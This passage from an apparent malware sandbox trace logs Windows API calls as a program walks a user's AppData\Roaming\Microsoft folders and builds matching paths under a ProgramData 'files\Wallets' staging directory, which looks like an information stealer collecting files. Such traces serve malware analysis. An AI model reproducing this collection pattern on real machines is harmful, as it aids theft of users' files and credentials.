lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\" [0052.112] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\", lpString2="System.mdw" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\System.mdw") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Access\\System.mdw" [0052.113] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.113] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.113] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.113] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0052.113] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.113] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.113] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns" [0052.113] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0052.113] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0052.113] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0052.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*.*" [0052.113] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a4c0 [0052.119] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0052.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\" [0052.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\." [0052.119] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns" [0052.119] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\" [0052.119] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\." [0052.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.119] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.119] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0052.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\" [0052.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\.." [0052.119] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns" [0052.119] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\" [0052.119] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\AddIns\\.." [0052.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.119] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.119] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.120] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.120] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0052.120] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.120] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.120] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" [0052.120] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0052.120] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0052.120] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*.*" [0052.120] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a040 [0052.120] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\." [0052.120] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" [0052.120] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\" [0052.120] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\." [0052.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.120] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.120] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\" [0052.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\.." [0052.120] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" [0052.121] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\" [0052.121] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\.." [0052.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.121] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.121] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0052.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\" [0052.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.121] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography" [0052.121] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\" [0052.121] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.121] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0052.121] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0052.121] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*.*" [0052.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a0c0 [0052.134] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\." [0052.134] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.134] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.134] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\." [0052.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.134] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.134] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\.." [0052.134] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.134] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.134] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\.." [0052.134] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.135] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.135] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.135] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0052.135] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") 